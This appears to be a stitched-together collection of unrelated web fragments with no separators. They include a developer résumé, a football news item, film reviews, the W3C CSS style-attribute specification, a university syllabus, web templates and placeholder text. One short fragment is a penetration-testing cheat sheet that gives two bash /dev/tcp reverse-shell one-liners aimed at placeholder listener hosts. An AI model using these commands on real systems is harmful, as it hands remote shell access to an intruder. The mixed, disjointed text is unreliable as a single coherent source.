- Developed a web game using JavaScript where players flip over two hidden cards at a time to locate the ones that match!
- Manipulated DOM elements using JavaScript to react to different user events.
- Make a real time web app that displays two emojis which can be moved by clicking the corresponding buttons.
- Everyone connected to the game can see the emoji move in real time.
- Optimized critical rendering path of existing website to achieve PageSpeed Insights score above 90.
- Eliminated inefficiencies in the website's scroll animation. Site now scrolls at 60 frames per second.
- Used the Google Feed Reader API to grab RSS feeds as JSON object we can make use of.
- Tested each function with Jasmine Testing Framework.
- Coded the Play method which analyzes the board and call itself up to 4 times, representing the possible number of next moves. At times the Play method may call itself less than four times due to the condition that a column is full.
- Used the Graph ADT and Dijkstra’s algorithm to compute the length of the shortest path and the path with the fewest turns.
- Implemented an AVL tree structure to store motor vehicle collisions data.
- Wrote functions to validate the format of user-prompted input "zip code", "start date", "end date" and hence return the collisions data for the prompted input
Apart from coding for interesting projects, I enjoy most of my time watching Japanese anime & drama, cooking Japanese cuisine, reading Japanese fictions as I am a big fan of Japanese culture . I like to play ping pong, basketball and billiards in leisure time and now a novice boxer. During the warmer months here in New York, my favourite activity is running in Central Park before sunset.
I am an aspiring technologist and an active thinker, and I spend a large amount of my weekend time exploring the latest technolgy advancements, particularly interested in how AI could tranform the whole economic system, education, and healthcare. My next goal in the near future is to complete Deep Learning and Artificial Intelligence nano-degrees of Udacity to learn more about the amazing revolution that's about to happen.


 QPR have high hopes for him'
by David ThomasTORQUAY United manager Gary Johnson has described new loan signing Amrit Bansal-McNulty as a 'pocket rocket' after the Queen's Park Rangers teenager joined the Gulls on a deal to January 5.
Bansal-McNulty's arrival is expected to be followed by a second signing ahead of Saturday's key National League home game against Stockport County.
The Hoops starlet's initial deal covers United's next eight games.
Johnson said: "Amrit can play anywhere across midfield, including the No.10 role, and he is a good footballer.
"He is a proper rocket - only small in stature, but he has a big heart, a good brain and he can run all day. QPR have high hopes for him."
Bansal-McNulty, who hails from Hackney, nearly aimed at an acting career before he was spotted playing on north London's highly competitive 'Futsal' circuit.
He has made rapid progress at QPR - it takes him nearly an hour-and-a-half's travelling across the capital to get to training each day - and he is now regarded as one of the Hoops' most promising Under-23 players.


The BOOST_PP_CONFIG_EXTENDED_LINE_INFO is a user-defined macro that
determines whether BOOST_PP_LINE outputs extended file-iteration state
information.
Usage
#define BOOST_PP_CONFIG_EXTENDED_LINE_INFO n
Arguments
- n
-
The value that determines if BOOST_PP_LINE outputs extended file-iteration
information. This value must be 0 or 1.
Remarks
If n is 1, BOOST_PP_LINE will output extended data.
By default, this macro is set to 0.
See Also


SUNDAY (CFP) Starring: David Suchet, Lisa Harrow, Larry Pine, Jared Harris. Screenplay: Jonathan Nossiter and James Lasdun, from a story by Lasdun. Producers: Alix Madigan, Agios Katsikakis, Andrew Fierberg. Director: Jonathan Nossiter.
If Jonathan Nossiter wanted to make a documentary about the plight of New York's homeless, he should have just gone ahead and done it. At least he wouldn't have constricted one of the most compelling relationships of the year by subjugating it to a forced sense of social consciousness. Nossiter's feature debut, the Best Dramatic Film winner at the 1997 Sundance Film Festival, ponders the nature of identity and the buried desires of lost souls through the story of a chance meeting one Sunday in Queens. While walking down the street, actress Madeleine Vesey (Lisa Harrow) hails a rumpled-looking man (David Suchet) she spies from a distance. She addresses him as respected film director Matthew Delacorta, but we know that "Matthew" woke up that morning in a homeless shelter, and that the men there know him as Oliver. Is Oliver really Matthew Delacorta? Is Madeleine really who she seems to be? Did she really attack her estranged husband (Larry Pine) with a pair of pruning shears?
Though SUNDAY asks plenty of questions without providing many answers, ambiguity isn't its problem. The real hitch is Nossiter's inability to recognize the strength of his central relationship. Both Suchet and Harrow give intense, emotionally rich performances as people taking a momentary escape from their bleak lives by clothing themselves in attractive fictions. Their relationship is complex and affecting, yet Nossiter seems to believe that he needs a broader canvas than the connection between two lonely people. That belief gives rise to frequent detours to peer into the way other homeless men are spending their Sunday, as well as unsatisfying encounters with Madeleine's husband?/ex-husband? and self-conscious cinematic trickery like unfocused point-of-view shots when Matthew/Oliver removes his glasses. As a love story, SUNDAY is often beautiful and haunting. As a film about a Serious Issue, it looks like a film-maker's attempt to create something to sermonize about in an acceptance speech.
On the Renshaw scale of 0 to 10 bleak Sundays: 6.
KICKED IN THE HEAD (October) Starring: Kevin Corrigan, Linda Fiorentino, Michael Rapaport, James Woods, Burt Young, Lili Taylor. Screenplay: Matthew Harrison and Kevin Corrigan. Producer: Barbara DeFina. Director: Matthew Harrison.
First, let's clarify all the things KICKED IN THE HEAD is _not_. It's not a whimsical, surreal urban odyssey like AFTER HOURS, despite the perplexing executive producer participation of Martin Scorsese. It's not a good-natured slacker comedy, despite the presence of a hyper-reflective, ambition-deficient protagonist. It's not a gritty-yet-pop-culture-savvy crime dramedy in the Tarantino mold, despite the plethora of shootouts and one inane discussion about the PLANET OF THE APES movies. And it's not worth a moment of your time.
Here's what KICKED IN THE HEAD _is_: a gruellingly unfunny 89 minutes spent following an annoying, unsympathetic young man named Redmond (Kevin Corrigan) on a "spiritual quest" through the Lower East Side, which apparently consists of 1) using plenty of beer and cocaine, 2) writing plenty of bad poetry and 3) spending plenty of time with people who are even more annoying and unsympathetic than himself. This is independent film-making at its most pointless and self-indulgent, mistaking profanity for profundity and incoherence for avant-garde. When a cast this talented (Linda Fiorentino, James Woods, Lili Taylor) stumbles through a script this disastrous, you can only assume that the title of KICKED IN THE HEAD refers to what happened to every one of them before signing on.
On the Renshaw scale of 0 to 10 head games: 1.
Visit Scott Renshaw's MoviePage http://www.inconnect.com/~renshaw/ *** Subscribe to receive new reviews directly by email! See the MoviePage for details, or reply to this message with subject line "Subscribe".
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
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Auschwitz museum hits milestone of 1M social media followers
by The Associated PressWARSAW, Poland (AP) — The Auschwitz-Birkenau memorial museum has reached 1 million followers on social media and is hailing that milestone as it works to educate the world about the crimes committed by Nazi forces during World War II.
The memorial is located in southern Poland, which was under German occupation during the war. The state-run institution said the number of followers worldwide that it has on Facebook, Twitter and Instagram combined hit 1 million Monday.
Pawel Sawicki, a museum official who runs the social media accounts, credited celebrities and media figures for helping to spread word about its education mission.
He noted that Mark Hamill, the American actor who played Luke Skywalker in the “Star Wars” films, once tweeted: “It may be difficult, but @AuschwitzMuseum is the most important account I’ve ever followed.”
The Associated Press


Please refer to the errata for this document, which may include some normative corrections.
See also translations.
Copyright © 2013 W3C® (MIT, ERCIM, Keio, Beihang), All Rights Reserved. W3C liability, trademark and document use rules apply.
Markup languages such as HTML [HTML401] and SVG [SVG11] provide a style attribute on most elements, to hold inline style information that applies to those elements. This draft describes the syntax and interpretation of the CSS fragment that can be used in such style attributes.
This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at http://www.w3.org/TR/.
This document has been reviewed by W3C Members, by software developers, and by other W3C groups and interested parties, and is endorsed by the Director as a W3C Recommendation. It is a stable document and may be used as reference material or cited from another document. W3C's role in making the Recommendation is to draw attention to the specification and to promote its widespread deployment. This enhances the functionality and interoperability of the Web.
Please see the Working Group's implementation report. One test is not passed, although this is due to bugs in browser implementation of xml:base and attribute (non)ordering, not the style attribute itself. The equivalent test for HTML (including the xml serialisation of HTML5) is passed by multiple implementations.
No changes to this document have been made since the previous version.
The (archived) public mailing list<EMAIL_ADDRESS>(see instructions) is preferred for discussion of this specification. When sending e-mail, please put the text “css-style-attr” in the subject, preferably like this: “[css-style-attr] …summary of comment…”
This document was produced by the CSS Working Group (part of the Style Activity).
This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.
Some document formats have a style
attribute to permit the author to directly apply style information
to specific elements in documents. If a document format defines a style
attribute (whether named ‘style
’ or
something else) and the attribute accepts CSS as its value, then this
specification defines that style
attribute’s syntax and interpretation.
The following example shows the use of the style
attribute
in HTML [HTML401]:

...

A document or implementation cannot conform to CSS Style Attributes alone, but can claim conformance to CSS Style Attributes if it satisfies the conformance requirements in this specification when implementing CSS together with style attribute handling as defined in a document language that has one or more CSS style attributes.
Conformance to CSS Style Attributes is defined for two classes:
The conformance requirements are expressed with a combination of descriptive assertions and RFC 2119 terminology. The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in the normative parts of this document are to be interpreted as described in RFC 2119. However, for readability, these words do not appear in all uppercase letters in this specification. All of the text of this specification is normative except sections explicitly marked as non-normative, examples, and notes. [RFC2119]
Examples in this specification are introduced with the words "for
example" or are set apart from the normative text with
class="example"
, like this:
This is an example of an informative example.
Informative notes begin with the word "Note" and are set apart from the
normative text with class="note"
, like this:
Note, this is an informative note.
The value of the style attribute must match the syntax of the contents of a CSS declaration block (excluding the delimiting braces), whose formal grammar is given below in the terms and conventions of the CSS core grammar:
declaration-list : S* declaration? [ ';' S* declaration? ]* ;
Note that following the CSS2.1 convention, comment tokens are not shown in the rule above.
The interpreter must parse the style attribute's value using the same forward-compatible parsing rules that apply to parsing declaration block contents in a normal CSS style sheet. See chapter 4 of the CSS2.1 specification for details. [CSS21]
Note that because there is no open brace delimiting the
declaration list in the CSS style attribute syntax, a close brace
(}
) in the style attribute's value does not terminate the
style data: it is merely an invalid token.
The declarations in a style attribute apply to the element to which the attribute belongs. In the cascade, these declarations are considered to have author origin and a specificity higher than any selector. CSS2.1 defines how style sheets and style attributes are cascaded together. [CSS21] Relative URLs in the style data must be resolved relative to the style attribute's element (or to the document if per-element resolution is not defined) when the attribute's value is parsed.
Aside from the differences in cascading, the declarations in a style attribute must be interpreted exactly as if they were given in a CSS style rule that applies to the element.
The CSS Working Group strongly recommends that document languages do not allow multiple CSS style attributes on a single element. If a document language allows multiple CSS style attributes, each must be parsed independently and treated as a separate style rule, the ordering of which should be defined by the document language, else is undefined.
Thanks to feedback from Daniel Glazman, Ian Hickson, Eric A. Meyer, Björn Höhrmann.


Content-type: text/html; charset=UTF-8
Man page of llvm
llvm
Section: Llvm Manual (1)
Updated:
Index
Return to Main Contents
NAME
llvm - provide loader and disassembler using LLVM library
SYNOPSIS
llvm [OPTION]...
DESCRIPTION
Uses LLVM library to provide disassembler and file loader
OPTIONS
- --base=VAL
-
Replace image base address. If not set, a reasonable default corresponded to a file type will be used. For example, for any executable file a default image base is equal to lowest image virtual address. For relocatable files a default image base is equal to 0xC0000000.
- --help[=FMT] (default=auto)
-
Show this help in format FMT. The value FMT must be one of `auto', `pager', `groff' or `plain'. With `auto', the format is `pager` or `plain' whenever the TERM env var is `dumb' or undefined.
- --version
-
Prints LLVM version and exits
- --x86-syntax=VAL (absent=att)
-
Choose style of code for x86 syntax between either `att' or `intel'
SEE ALSO
bap-plugin-elf-loader(1), bap-plugin-relocatable(1)
tags: disassembler, llvm, loader, elf, macho, coff
Index
- NAME
-
- SYNOPSIS
-
- DESCRIPTION
-
- OPTIONS
-
- SEE ALSO
-
This document was created by
man2html,
using the manual pages.
Time: 19:19:42 GMT, April 10, 2019


PSYC 5379 / READ 5379: Advanced Psycholinguistics
Contact info
- Professor: Thomas J. Faulkenberry, Ph.D
- Office: Math 319
- Office hours: MTWRF 9-11 am (or by appointment)
- Email<EMAIL_ADDRESS>- Website: http://tomfaulkenberry.github.io
- Phone:<PHONE_NUMBER>
Course description
(from catalog) The course emphasizes the study of language, understanding languages, producing language and speech, language development, and related topics such as reading, language and the brain, linguistic diversity, and universals.
Psycholinguistics is an area of specialization within cognitive psychology that focuses on the psychological mechanisms of language processing. This course provides an introduction to the field of psycholinguistics. Psycholinguistics is the field that studies the information processing mechanisms that govern the use of language in comprehension and production, acquisition, and representation. A common misconception is that one learns about the specifics of particular languages in a course on psycholinguistics. This is not the case. Rather, like most of cognitive psychology, this course emphasizes the commonalities that underlie human languages everywhere, and we will focus on what these commonalities tell us about the human ability to construct and understand language.
Course materials
- The Psychology of Language: From Data to Theory (4th ed.) by Harley Amazon link
Student learning outcomes
- Define the basic vocabulary of psycholinguistics
- Discuss the biological bases of human communication.
- Describe how humans perceive and produce speech.
- Describe how sentences and discourse are processed and comprehended.
- Discuss the acquisition of language.
- Describe the psychological processes involved in reading.
- Identify and explain problems in speech and language processes.
- Explain bilingualism and second language acquisition.
Texas Reading Specialist Standards
For students enrolled in READ 5379, our course content will cover the following standards from TEA (Texas Education Agency) for EC-12 Reading Specialist certification.
- 1.1k: know and understand the basic linguistic patterns and structures of oral language, such as continuant and stop sounds and coarticulation of sounds
- 1.2k: know and understand relationships between oral language development and the development of reading skills, such as the expected stages and milestones in acquiring oral language; implications of individual variations in oral language development for reading; and ways to use the cultural, linguistic, and home backgrounds of students to develop and enhance students’ oral language
- 1.4k: know and understand expected stages and patterns in the development of phonological and phonemic awareness, implications of individual variations in the development of phonological and phonemic awareness, and instructional sequences that develop and accelerate students’ phonological and phonemic awareness and are based on a convergence of research evidence
- 1.6k: know and understand the development of concepts of print (e.g., left-right progression, spaces between words)
- 1.7k: know and understand the relationship between concepts of print and other reading-related skills.
- 1.8k: know and understand the elements of the alphabetic principle, including letter names, graphophonemic knowledge, and the relationship of the letters in printed words to spoken language
- 1.9k: know and understand expected stages and patterns in students’ developing understanding of the alphabetic principle and implications of individual variations in the development of this understanding
- 1.10k: know and understand instructional strategies that develop and accelerate students’ application of the alphabetic principle to beginning decoding and that are based on a convergence of research evidence
- 1.14k: know and understand expected patterns of development in the use of word identification strategies, implications of individual variations in development in this area, and instructional strategies that develop and accelerate students’ skills in word identification and are based on a convergence of research evidence
- 1.17k: know and understand expected patterns of development in reading fluency (including developmental benchmarks), implications of individual variations in the development of fluency, and instructional strategies that develop students’ fluency and are based on a convergence of research evidence
- 1.19k: know and understand a variety of comprehension theories/models (e.g., transactional, interactive, metacognitive, socio-psycho linguistic, constructivist) and their impact on instructional strategies
- 1.29k: know and understand predictable stages in the development of written language and writing conventions, including the physical and/or cognitive processes involved in letter formation, word writing, sentence construction, spelling, punctuation, and grammatical expression, while recognizing that individual variations occur
- 2.17k: know and understand how differences in dialect or vocabulary development may affect a student’s acquisition of reading skills;
- 3.2k: know and understand issues and concepts related to the transfer of literacy competency from one language to another
- 3.3k: know and understand expected stages and patterns of first- and second-language learning
- 3.7k: know and understand characteristics and instructional implications of reading difficulties, dyslexia, and reading disabilities in relation to the development of reading competence
- 4.1k: know and understand the major theories of language acquisition, reading, cognition, and learning (e.g., behaviorism, cognitivism, constructivism, transactionalism);
- 4.7k: know and understand foundations of basic research design, methodology, and application
- 4.8k: know and understand methods and criteria for critically reviewing research on reading and selecting research for educational applications.
Requirements and grading
- Exam 1 (100 pts)
- Exam 2 (100 pts)
- Exam 3 (100 pts)
- Exam 4 (100 pts)
- Unit quizzes (100 pts)
- Review paper (100 pts)
- Total = 600 points
Grades will be assigned based on the percentage of points you accumulate out of these 500 points. I will use the standard grading scale of A=90%, B=80%, etc.
Exams (66.7% of grade)
There will be four total exams throughout the semester, occurring approximately once every 2 weeks. They will cover material from your reading, online lectures, and quizzes. Exam questions will be a mix of multiple choice and short answer. Exams are due by 11:59 pm on the due date (see below). Each exam will have a time limit and may only be attempted once.
Due dates:
- Exam 1 (Wednesday, June 28 at 11:59 pm)
- Exam 2 (Wednesday, July 12 at 11:59 pm)
- Exam 3 (Wednesday, July 26 at 11:59 pm)
- Final exam (Wednesday, August 9 at 11:59 pm)
Unit quizzes (16.6% of grade)
At the end of each unit, you will complete a quiz over the content of that unit. Each quiz will be graded as number correct out of 10 possible points. Your total quiz grade will be computed by scaling your average quiz percentage up to a 100 point score. For example, if you average 8.6/10 on your unit quizzes, your total quiz grade for the semester will be 86/100.
Review paper (16.7% of grade)
This semester, you will select a topic from the course (or something in the textbook that we did not cover) that relates to your professional interests. Then, you will write a 10 page review paper that summarizes some literature related to your chosen topic. The literature review should include at least 10 recent (2000 to the present) empirical research articles from peer-reviewed journals. The paper must be formatted in APA style (e.g., double-spaced, APA-style citations, etc.). Note that the 10-page requirement includes the title page and references. The paper is due on the last day of class.
Course Communication
Email is the primary means of communication for this course. If you have questions about the course, always feel free to send me an email at<EMAIL_ADDRESS>I only ask that you adhere to two guidelines:
- please include the course number (PSYC 5379) in the subject line. For example, one good way to do this is: Subject: [PSYC 5379] Question about Exam 2
- please use proper email etiquette.  You might be surprised how many times I get an email from a nondescript email address with no indication from WHOM the email was sent!
Also, I will be sending periodic emails to each of you that update you on course progress, due dates, etc. It is imperative that you check your Tarleton email address regularly so that you don't miss any of these messages.
University Policy on "F" Grades
Beginning in Fall 2015, Tarleton will begin differentiating between a failed grade in a class because a student never attended (F0 grade), stopped attending at some point in the semester (FX grade), or because the student did not pass the course (F) but attended the entire semester. These grades will be noted on the official transcript. Stopping or never attending class can result in the student having to return aid monies received. For more information see the Tarleton Financial Aid website.
Academic Honesty
Tarleton State University expects its students to maintain high standards of personal and scholarly conduct. Students guilty of academic dishonesty are subject to disciplinary action. Cheating, plagiarism (submitting another person’s materials or ideas as one’s own), or doing work for another person who will receive academic credit are all disallowed. This includes the use of unauthorized books, notebooks, or other sources in order to secure of give help during an examination, the unauthorized copying of examinations, assignments, reports, or term papers, or the presentation of unacknowledged material as if it were the student’s own work. Disciplinary action may be taken beyond the academic discipline administered by the faculty member who teaches the course in which the cheating took place.
In particular, any exam taken online must be completed without the aid of any unauthorized resource (including using any search engine, Google, etc.). Authorized resources are limited only to the official textbook and any lecture notes from the course. Any other authorized resources will be provided to you before the exam. The minimum sanction for violation of this policy is a grade of 0 on the affected exam.
Each student’s honesty and integrity are taken for granted. However, if I find evidence of academic misconduct I will pursue the matter to the fullest extent permitted by the university. ACADEMIC MISCONDUCT OR DISHONESTY WILL RESULT IN A GRADE OF F FOR THE COURSE. Students are strongly advised to avoid even the appearance of academic misconduct.
Academic Affairs Core Value Statements
Academic Integrity Statement
Tarleton State University's core values are integrity, leadership, tradition, civility, excellence, and service. Central to these values is integrity, which is maintaining a high standard of personal and scholarly conduct. Academic integrity represents the choice to uphold ethical responsibility for one’s learning within the academic community, regardless of audience or situation.
Academic Civility Statement
Students are expected to interact with professors and peers in a respectful manner that enhances the learning environment. Professors may require a student who deviates from this expectation to leave the face-to-face (or virtual) classroom learning environment for that particular class session (and potentially subsequent class sessions) for a specific amount of time. In addition, the professor might consider the university disciplinary process (for Academic Affairs/Student Life) for egregious or continued disruptive behavior.
Academic Excellence Statement
Tarleton holds high expectations for students to assume responsibility for their own individual learning. Students are also expected to achieve academic excellence by:
- honoring Tarleton’s core values, upholding high standards of habit and behavior.
- maintaining excellence through class attendance and punctuality, preparing for active participation in all learning experiences.
- putting forth their best individual effort.
- continually improving as independent learners.
- engaging in extracurricular opportunities that encourage personal and academic growth.
- reflecting critically upon feedback and applying these lessons to meet future challenges.
Students with Disabilities Policy
It is the policy of Tarleton State University to comply with the Americans with Disabilities Act and other applicable laws. If you are a student with a disability seeking accommodations for this course, please contact Trina Geye, Director of Student Disability Services, at<PHONE_NUMBER> or<EMAIL_ADDRESS>Student Disability Services is located in Math 201. More information can be found at www.tarleton.edu/sds or in the University Catalog.
Note: any changes to this syllabus will be communicated to you by the instructor!
Semester Schedule
| Unit | Topic | Book chapter(s) |
|---|---|---|
| 1 (June 14-20) | The basics (cognitive psychology and linguistics) | 1,2 |
| 2 (June 21-27) | The foundations of language | 3 |
| Exam 1 (due Wednesday, June 28) | ||
| 3 (June 28-July 4) | Language development | 4 |
| 4 (July 5-11) | Perception of words (visual and spoken) | 6,9 |
| Exam 2 (due Wednesday, July 12) | ||
| 5 (July 12-18) | Reading | 7,8 |
| 6 (July 19-25) | Understanding the structure of sentences | 10 |
| Exam 3 (due Wednesday, July 26) | ||
| 7 (July 26-Aug 1) | Word meaning | 11 |
| 8 (Aug 2-8) | Language production | 13 |
| Exam 4 (due Wednesday, Aug 9) |


This stackblitz project leverages the amazing SWAPI service put together
by some awesome Star Wars lovers! You can check out the service at
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People
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Recommended
Do not copy anything to target machine unless you have to!
Linux preferred method is /dev/tcp, either:
bash -i >& /dev/tcp/<LIP>/<LPORT> 0>&1
/bin/bash -i > /dev/tcp/<LHOST>/<LPORT> 0<&1 2>&1
Analyze what languages you have access to instead of copying over a file.


Team: Edith, Gus, Jully and Michael
ABQOutside is a mobile-first website that allows users to explore trails in Albuquerque. By integrating with Google Maps and pulling information about the trails, the users will be able to see all the options offered and comment on each trail.
The ABQOutside mobile website will be the go-to resource for people interested in finding hiking trails in Albuquerque. Casual users will be able to view a map of Albuquerque with pinned trails locations in their selected area and select a pin to learn more about the trail itself. They do not have to log in to use the map or to click location pins. On the other hand, power users will enjoy logging into the ABQOutside account, setting up a user profile and leaving comments.


ROCK PAPER SCISSORS
GAME OVER!
YOU LOSE!
YOU'RE THE
WINNER!
ROUND 1
First to 5! select your weapon to start...
You
0
VS.
Computer
0
ROCK
PAPER
SCISSORS


{{ h1 }}
Your request method == {{ request_method }}. Try to ask me with PUT method!
Check our books list!
Check page, that doesn't exist!
Check page, that is forbidden!


Welcome to Seven Eleven
Our approach to the Internet is different. So, if you are looking for a better mousetrap, you just found it.
{% extends 'webpage/base.html' %} {% block content %}
Our approach to the Internet is different. So, if you are looking for a better mousetrap, you just found it.
Applications for use on mobile devices such as tablets, smartphones, smart watches and more…
By applying to be part of the Seven Creed, you get a chance of creating and distributing valuable, relevant, and consistent content…
We publish quality philosophy in a readable and enjoyable format for readers both within and outside academe…
Newsworthy content about video entertainment, culture, tech, science, business, social good…
Friday, 6th April 2045
I'm not about getting jacked / ripped or staying slim – its to feel good about yourself and live a happier, healthier and more fulfilling life! I tend to consider things like:
I know. It sounds like a pretty big undertaking. Perhaps a bit misguided. Or maybe even maniacally delusional that I would even attempt to single-handedly take on correcting the course of the Internet as it rapidly heads for a catastrophic collision with bad taste and vulgar commercialism. But that’s only because you don’t know me. Yet
I speak and write about how to succeed online by being human. By building relationships. By being vulnerable. By being honest. By telling stories. My approach to the Internet is different. It’s not the same old fluff you are used to hearing.
Let me be clear. I am not another search engine optimization guy. Or some “guru” claiming to have the secret formula to social media domination. I won’t teach you how to get rich overnight. Or make promises that are too good to be true
Fate and Destiny are not the same: Do you know the difference? Fate involves aspects of life that are not freely chosen.…
Lavish Reynolds live streamed the violent scene from Falcon Heights in Minnesota at 9pm local time…
This week at WWDC, Apple announced a new facial recognition system — although if you weren’t watching closely, you might…


BBQpi
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Meat Type
Select a meat type
<% for (var i=0; i
<%=meat[i][1]%>
<% } %>
Meat Target Temp
Pit Target Temp
Deadband
Start BBQ


Using technology to deliver the highest quality medical Personal Protective Equipment here.
Masks are useful.
PPE saves lives.
Our people are the best, we swear.


About
Organizers:
Raphaël Jungers [UCLouvain, Belgium]
Maria Prandini [Politecnico di Milano, Italy]
Ricardo Sanfelice [University of California, Santa Cruz, USA]
Majid Zamani [Technische Universität München, Germany]
Context and Motivation:
Systems that combine digital and analog devices, interfaces, networks, computer systems, and the like, with the natural and man-made physical world are called Cyber-Physical Systems (CPSs). The inherent interconnected and heterogeneous combination of behaviors in these systems makes their analysis and design a challenging task. Safety and reliability specifications imposed in cyber-physical applications, which are typically translated into stringent robustness standards, aggravate the matter. Unfortunately, classical tools for system analysis and design cannot cope with the intrinsic complexity in CPSs. Tools suitable for analysis and design of such systems must allow a combination of physical/continuous dynamics and the cyber/computational components comprising the networked structure, as well as handle a variety of types of perturbations, such as exogenous disturbances, time delays, computation effects, and system failures.
Tools for that purpose are becoming available in the literature, but most algorithmic designs nowadays are still based on ad-hoc solutions trying to make the connection between the classical techniques of systems and control theory with those in software systems.
Most research in CPSs considers design of algorithms and their implementation separately. Algorithmic design approaches typically do not consider the implementation issues and constraints of the target physical platforms, in particular, the unavoidable computational and communication limitations imposed by them. This poses a problem when dealing with CPSs with complex dynamics and uncertainty. In fact, in such cases the effectiveness of designed algorithms can be compromised by the unavoidably nonzero time needed to perform computations and the quality of information transmission. The decentralization of computational resources and other effects introduced at the implementation stage that were neglected at design can negatively affect the behavior induced by the algorithm.
To properly cope with such issues, techniques for the synthesis of algorithms should incorporate information about the computation and communication requirements for their implementation, and, in some cases, possibly accept a degradation of performance while guaranteeing certain fundamental properties of the entire CPS, such as resilience, robustness, stability, and safety.
The development of such synthesis techniques requires a radical change in the way algorithms for CPSs are designed.
Objectives:
The main goal of this workshop is to lay out the foundations of a framework for computation and communication-aware algorithmic design of CPSs, in which, rather than being added a posteriori, computation and communication are intrinsic – in the sense that the time and cost to compute and the networked structure and communication constraints are part of the design process. We bring together to this purpose experts in CPSs and key topics on data-driven design, optimization, computer science, control, information theory, and safety.
The proposed workshop will expose attendees to cutting edge research in the field, with an eye on both theory and applications, providing students new to the field with insight on the challenges posed by computation and communication constraints on algorithm design for verification and control of CPSs and on promising directions of research.
It will also encourage collaborations between researchers on the development of algorithms for CPSs with performance guarantees.
Target Audience and Prerequisites:
The workshop aims at attracting graduate students and researchers with an interest in CPS verification and control, to get them exposed to the challenges posed by computation and communication to CPS design. The target audience also includes researchers that are more inclined towards applications than to theoretical aspects.
There are no particular prerequisites for attendees, and any graduate-level control engineer and computer scientist should be able to benefit from attending, not only grasping the main concepts but also achieving some deep level of understanding. It would be beneficial, however, if attendees have a strong mathematical background, possibly being familiar with control and systems theory. Attendees from other disciplines than control (e.g., computer science, operations research, robotics) are also qualified to attend the workshop, since the talks are expected to be self-contained, introducing the necessary prerequisites.
Structure:
The workshop is organized in three sessions:
- Session 1 – Introduction and Motivation
- Session 2 – Scalability in CPS Analysis and Design
- Session 3 – Communication-constrained CPS Design
Session 1 includes an introduction to computationally-aware CPSs and a motivating application in automated transport systems.
Scalability issues in analysis and design of large scale systems are discussed in Session 2, where possible solutions are proposed for stochastic analysis and enforcement of complex specifications via symbolic control.
Session 3 deals with information-theoretic results to address the challenges arising in networked control systems due to the limited capacity of communication channels, in deterministic as well as in stochastic systems. The last presentation in Session 3 concerns the emerging Internet-of-Things (IoT) application domain where multiple devices for sensing, processing, and actuation are joined via low-cost wireless connectivity. Power allocation, uncertain channel sharing, and also security issues are considered.
The closing remarks summarize the main points and outline perspective for future research.


Let's implement the simplest search engine possible - it should search a specific word from the line containing different words.
The first line contains several words separated by a space. The words are numbered in order, with the first word having index 1. Consider that all the words in the first line are unique, so there can be no repetitions.
Write a small program that reads a single line and then another line — the word to search for in the first line. The program must output the number of this word from the first line. If there is no such word in the first line, the program should print "Not Found"
. Remember, that indexes start from 1!
You should output exactly one line.
Example 1:
Input:
first second third fourth
third
Output:
3
Example 2:
Input:
cat dog and mouse
elephant
Output:
Not found


This resort was established by sir Theodore Mosby in the year 2016,to help people get a break from the busy 21st century life of the cities to come here and relax. this resort is located in the beautiful somalian waters which peoeple feared because of the pirates but in early 2016 most if not all the pirates were captured by the combined forces of some africal nations the united KIngdom and Russsia.So we assure that thgere is nothing to fear and this place is a haven for leisure.
There are so many activities you can take part in this amazing resort to ensure you have had the most wonderful time here Here are some of the activities


---
title: Ph.D. Degrees Awarded
---
Ph.D. degrees awarded by the department (by year)
{% assign years = site.data.phds | group_by: "year" %}
{% assign sorted = (years | sort: 'name') | reverse %}
{% for y in sorted %}
-
{{y.name}}
{% for deg in y.items %}
Name: {{ deg.name }}
- Title: {{ deg.title }}
- Supervisor: {{ deg.advisor }}{% if deg.present %}
- Present Position: {{ deg.present}}
{% endif %}
{% endfor %}
Top
{% endfor %}


{% extends "layout.html" %} {% block head %} {% endblock %} {% block leader %}
This service is a love letter to the Internet from @jmhobbs.
Have fun, work hard, be kind.
Built with...
Fork me or file a bug report at https://github.com/jmhobbs/dun-dun-duh


Room 1
Room 2
Room 3
Is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book.Is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book.
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Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.


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24 Acacia Drive
London
SW1 H9A
Is this where you believe Mary Richards has items that could be sold to pay the debt?


Amazing people are making amazing designs in a fun environment
When you work with us, you are a part of a team of commited collaborators. All aspects of our software development process are intergrated, interactive and agile.
Our approach unifies design, development and product managment to create exceptional products.
We start each project by understanding your business goals, the user's needs
and the product requirements.
Then we help them translate into effective
and elegant solutions.
Before we sign a contract or write a line of code, our team will spend necessary time
needed to understand your product vision.
The outcome of this scoping session is a
proposal or high level statement of work.
Based on your requirements, we can provide a
complete offering or just the pieces you need.
DESIGN
Our design practice offers a full range of services including brand strategy, interaction and
visual design and user experience testing.
Throughout your project, our designers create and implement visual design and workflows, solicit
user feedback and work with you to make sure what gets built is what is needed.
DEVELOPMENT
All engineers are fluent in the latest enterprise, mobile and web development technologies. They collaborate with your team to write, and improve code on a daily basis, using proven practices such as test-driven development and pair programming.
PRODUCT MANAGMENT
Planning and development is iterative. Because we are constantly coding and testing, the products we build are always ready to go live. This iterative process allows for changes as business requirements evolve.
Delani porfolio
Ontario
DIAMONDS
CODE
Good day
Calculator
Burned
Girraffe
DELANI STUDIO
2019


The first week of Uni can be challenging as you might not know anyone in your degree, don't know where your classes are, and may have no idea what the first weeks at Uni might look like. Students who attend Orientation are better informed and more likely to succeed in their first semester compared to those who don't attend.
